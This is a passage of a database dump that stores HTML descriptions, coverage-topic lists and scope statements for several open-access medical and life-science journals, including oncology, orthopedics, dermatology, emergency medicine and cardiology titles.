Roman,Times,serif\">music therapy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">probiotics</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Osteopathic Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Anthroposophic Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Auriculotherapy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Shiatsu Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Holistic Medicine</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Chronicles of Complementary, Alternative &amp; Integrative Medicine</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Chronicles of Complementary, Alternative &amp; Integrative Medicine (CCAIM) </strong>is an interdisciplinary, peer-reviewed, open access, biomedical journal<strong> </strong>focuses on scientific research in integrative medicine including traditional medicine, complementary and alternative medicine, and systems medicine. The journal supports global platform for discussion, perspectives and research on interventions and resources that complement or replace conventional therapies, with a specific emphasis on research that explores the biological mechanisms of action, as well as their efficacy, safety, costs, patterns of use and/or implementation by utilizing innovative therapies for treatment of complicated health problems.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Chronicles of Complementary, Alternative &amp; Integrative Medicine (CCAIM) acts as source of knowledge for clinical researchers and scientists, physicians and other health practitioners, as well as graduate students by extending research in the fields of traditional medicine, herbal medicine, and dietary therapy applying convergence of medical and bioscience circles. The journal&#39;s international scope ensures that research and progress from all regions of the world are widely covered by integrating Eastern and Western medicine<span style=\"color:#505050\"> applications.</span></span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">The journal accepts manuscripts as original Research articles, Short communication, Reviews, Mini reviews, Image articles, Case Reports, etc.</span></span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:26:11','2019-03-14 17:24:41',1),(21,20,'1530432011.jpg','Clinical Oncology Research Journal','Clinical Oncology Research Journal','Clinical Oncology Research Journal','Clinical-Oncology-Research-Journal','Clinical-Oncology-Research-Journal','Clinical-Oncology-Research-Journal','Clinical-Oncology-Research-Journal','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer signs and symptoms</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Causes of cancer</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Carcinogenesis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer epigenetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer and risk factors</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer prevention</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer screening</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer immunotherapy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer and medication</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Complementary and alternative cancer treatments</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer survivor and health care</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer research</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diet and cancer</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Epidemiology of cancer</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Geriatric oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gynecologic oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Management of cancer and oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pediatric oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Surgical oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Radiation oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Oncogenomics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Types of cancer and symptoms</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Clinical Oncology Research Journal</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Clinical Oncology Research Journal (CORJ)</strong> is an open access, scientific and peer-reviewed journal designed to extends its broad scope by covering several areas of cancer research, especially novel concepts, new methods, new regimens, new therapeutic agents, and alternative approaches for early detection and intervention of cancer by establishing oncology as base of research. The journal extensively tries to integrate preclinical, translational, and clinical research in cancer, from epidemiology, carcinogenesis and biology through to innovations in cancer treatment and patient care. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Clinical Oncology Research Journal (CORJ)<strong> </strong>welcomes distinguished team of cancer researchers, scholars, scientists, medical/surgical/clinical practioners who have hardcore motivation for this ongoing oncology research to generate forum at a global stage and express, exchanges their updates for its reader as the single most credible, authoritative resource for disseminating significant clinical oncology research. So, keeping this as strategy the journal maintains rapid publication of high quality results in cancer research through original Research articles, Short research communication, Reviews, Mini reviews, Image articles, Case studies,&nbsp; Hypothesis, Method and protocol, New instruments and regimens, Letter to the editor by electronic format of publications.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The journal provides all its scholarly based archives in pdf/html format with free access and downloads.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:30:11','2018-07-19 23:28:53',1),(22,20,'1530432351.jpg','Clinical Orthopedics Advanced Research Journal','Orthopedics','Clinical Orthopedics Advanced Research Journal','Clinical-Orthopedics-Advanced-Research-Journal','Clinical-Orthopedics-Advanced-Research-Journal','Clinical-Orthopedics-Advanced-Research-Journal','Clinical-Orthopedics-Advanced-Research-Journal','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Manuscripts are highly encouraged to be submitted topics mentioned with</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hand surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Shoulder &nbsp;and elbow surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Total joint reconstruction (arthroplasty)</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Skull reconstruction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pediatric orthopedics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Foot and ankle surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Spine surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Musculoskeletal oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Surgical sports medicine</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sport Injuries</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Orthopedic trauma</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Other Bone Diseases and Disorders</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Techniques and Advances in Orthopedic Surgery</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Clinical Orthopedics Advanced Research Journal</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Clinical Orthopedics Advanced Research Journal (COARJ) </strong>is a peer-reviewed open access journal works with mission to provide <span style=\"color:black\">a forum for orthopedics professionals on improving the quality of orthopedic health care.</span> <span style=\"color:black\">The journal publishes original research articles, review articles, and clinical studies related to arthroplasty, hand surgery, limb reconstruction, pediatric orthopedics, sports medicine, trauma, spinal deformities, and orthopedic oncology.. To expand the advances in research the journal encompasses all aspects of clinical and basic research studies related to musculoskeletal issues.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Clinical Orthopedics Advanced Research Journal (COARJ) provides the platform for exchange of new clinical and scientific information in the most precise and expeditious way to achieve timely dissemination of information and cross-fertilization of ideas at an international level through free access to its articles to anyone, anywhere.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The goal of this journal is to keep a record of the state-of-the-art research and to promote study, research and improvement within its various specialties altogether important areas of experimental and clinical research and surgery in orthopedics.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal provides all its scholarly based archives in pdf/html format with free access and downloads.</span></span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:35:50','2018-07-19 23:31:55',1),(23,20,'1530432629.jpg','Current Trends in Genetics and Microbiology','Genetics and Microbiology','Current Trends in Genetics and Microbiology','Current-Trends-in-Genetics-and-Microbiology','Current-Trends-in-Genetics-and-Microbiology','Current-Trends-in-Genetics-and-Microbiology','Current-Trends-in-Genetics-and-Microbiology','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mendelian and classical genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Molecular genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gene expression</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gene regulation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic change Bacterial genome size</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cryoconservation of animal genetic resources</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Eugenics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Embryology and genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Evolution and genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic disorder</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic diversity</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic engineering</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic enhancement</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Medical genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Molecular tools for gene study</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mutation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial systematics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Evolutionary microbiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial ecology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Environmental microbiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial genetics</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial physiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial pathogenesis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Host-Microbe interaction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Systems microbiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Synthetic microbiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Bioinformatics in genetics and microbiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Virology</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Current Trends in Genetics and Microbiology</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Trends in Genetics and Microbiology (CTGM) </strong>is an open access, peer reviewed and scientific journal which integrate two broad aspects of life sciences i.e. genetics and microbiology. The journal as scholarly based publishes high-quality scientific research that presents important findings in genetics and microbiology across a full range of biological science applications.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The journal covers all areas of genetics and evolution, including molecular genetics and molecular evolution. The journal publishes high-quality research articles and reviews on a broad range of microbiology from fundamental studies of the biology of prokaryotic and eukaryotic micro-organisms, to applied microbiology and microbial biotechnology. &nbsp;So it&rsquo;s a unique journal of its kind relating to how genetics and microbiology can co relate to evolutionary aspect of study.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:40:29','2018-07-19 23:39:05',1),(24,20,'1530432960.jpg','Current Updates in Dermatological Problems','Dermatological','Current Updates in Dermatological Problems','Current-Updates-in-Dermatological-Problems','Current-Updates-in-Dermatological-Problems','Current-Updates-in-Dermatological-Problems','Current-Updates-in-Dermatological-Problems','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cosmetic dermatology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dermatopathology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Immunodermatology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mohs surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pediatric dermatology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Teledermatology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dermatoepidemiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Skin biopsy and skin infections</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Skin cancer and treatment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cryosurgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hair transplantation and removal</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Laser therapy and tattoos</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Phototherapy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tumescent liposuction</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Radiation therapy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vitiligo surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Allergy testing</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Psoriasis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetic foot</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Current Updates in Dermatological Problems</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Updates in Dermatological Problems (CUDP) </strong>is an international, peer-reviewed, open access electronic journal that emphasizes on the latest clinical and experimental research in all aspects of skin disease and cosmetic interventions from molecular studies to clinical investigations. The journal expands it horizon with updates of research based on a process of bilateral feedback between the clinic and the laboratory, in which incompletely understood clinical phenomena are examined in the laboratory and the knowledge thus acquired is directly reapplied in the clinic.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">CUDP welcomes articles from across the globe but specially encourages articles on pure clinical dermatology, information relating to skin, its ailments and different modes of therapeutics. As scientific and scholarly journal it invites dermatologists, venereologists and leprologists etc. to showcase writing, experiences and work in this journal that will exhibit great promise in terms of readability, teaching, learning and sharing dermatological problems and its treatment at an international level.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:46:00','2018-07-19 23:35:05',1),(25,20,'1530433254.jpg','Emergency Medicine and Trauma Care Journal','Medicine and Trauma Care','Emergency Medicine and Trauma Care Journal','Emergency-Medicine-and-Trauma-Care-Journal','Emergency-Medicine-and-Trauma-Care-Journal','Emergency-Medicine-and-Trauma-Care-Journal','Emergency-Medicine-and-Trauma-Care-Journal','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Emergency Medical Services</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Intensive Care Units</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Acute Illness and Injury&nbsp;&nbsp;&nbsp;&nbsp;</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Trauma</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Sepsis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Burn</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Acute Coronary Syndrome</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Poisoning</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Stroke</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Critical-care Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Medical Toxicology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Wilderness Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pediatric Emergency Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Disaster Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Tactical Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Ultrasound and Pain Emergency Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pre-Hospital Emergency Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">International emergency medicine</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Emergency Medicine and Trauma Care Journal</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Emergency Medicine and Trauma Care Journal</strong> (EMTCJ) is an electronic online scholarly and practical applicability of emergency medicine and trauma care approach based international journal focussed with key information for both the academic and practicing emergency physician and medicos. The journal acts as unique point of knowledge for increase the ability to understand, recognize and treat emergency conditions including hospital emergency medical services, pediatric emergency medicine, injury and disease prevention, health policy and ethics, disaster management, toxicology, and related topics.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Emergency Medicine and Trauma Care Journal</strong> (EMTCJ) is an open access, peer-reviewed journal which covers a variety of topics related to all aspects of emergency medicine, trauma care. We publish articles which are relevant to those working in both hospital and pre-hospital environments.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The journal aims to encourage the dissemination of local and international knowledge in an area that is one of the most challenging areas of medicine. It also encourages the inclusion of trauma and intensive care as the latest sub-specialities in the field of emergency medicine.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The journal publishes a roughly equal mix of original research articles and case reports. It also publishes trauma, disaster preparedness, and commentaries on resuscitation, evidence-based reviews, minor injuries, clinical operations, original research, paediatric emergencies, acute medical, decision making reviews, evidence-based reviews, editorials, correspondence, and replications on clinical practice.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This journal provides enough information to reduce the suffering from the cases of trauma and emergency injuries for communication amongst health professionals with academic, clinical and research interests in emergency practice mainly focuses on nurses, ambulance staff, paramedics and doctors.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Trauma causes individual patterns of injury and involves shock, fractures, soft tissue and organ injuries. Treatment therefore requires the joint effort of emergency medicine, orthopaedic and trauma surgery, critical care medicine and rehabilitation. Both scientific progress and the in-depth experimental and clinical research within individual disciplines contribute to the ongoing continuous improvement of trauma care.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:50:53','2018-07-23 23:27:17',1),(26,20,'1530433517.jpg','Insights of Cardiology Open Access','Cardiology','Insights of Cardiology Open Access','Insights-of-Cardiology-Open-Access','Insights-of-Cardiology-Open-Access','Insights-of-Cardiology-Open-Access','Insights-of-Cardiology-Open-Access','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Pediatric cardiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Interventional cardiology </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Echocardiography </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Cardiogeriatrics </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Invasive Cardiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Diagnostic Cardiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Cardiology Procedures</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Adult cardiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Heart disorders </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diet and Cardiac problems</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nuclear cardiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cardio surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pharmaceutical drugs and heart</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Insights of Cardiology Open Access</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Insights of Cardiology Open Access (ICOA) </strong>is an internationally recognized, scientific and peer-reviewed journal covering a broad spectrum of topics in cardiology and cardiovascular diseases. The journal is dedicated to cardio surgeons, cardiologist, and clinicians&rsquo; researches involved in with ultimate mission in building bridges between technology and clinical research that can be beneficial for patients with cardiovascular disease.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The scope of the journal covers an extensive topic in the field of cardiovascular medicine comprising clinical cardiology, heart failure, prevention and rehabilitation, innovation and technology, interventional cardiology, invasive/non-invasive imaging, device failure, arrhythmology, translational research, quality and outcomes.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#333333\">The aim of <em>ICOA</em><em> </em>is to publish articles on topics of current interest in cardiology that will foster increased understanding of the pathogenesis, diagnosis, clinical course, prevention, and treatment of cardiovascular disorders. </span></span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:55:16','2018-07-19 23:41:44',1),(27,20,'1530434469.jpg','Journal of Biomarker Research and Studies','Biomarker','Journal of Biomarker Research and Studies','Journal-of-Biomarker-Research-and-Studies','Journal-of-Biomarker-Research-and-Studies','Journal-of-Biomarker-Research-and-Studies','Journal-of-Biomarker-Research-and-Studies','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Bio-indicator </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biomarker discovery </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Biomarkers Biochemistry</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Molecular Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Industrial Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pharmaceutical Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Forensic Biomarkers</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Genetic 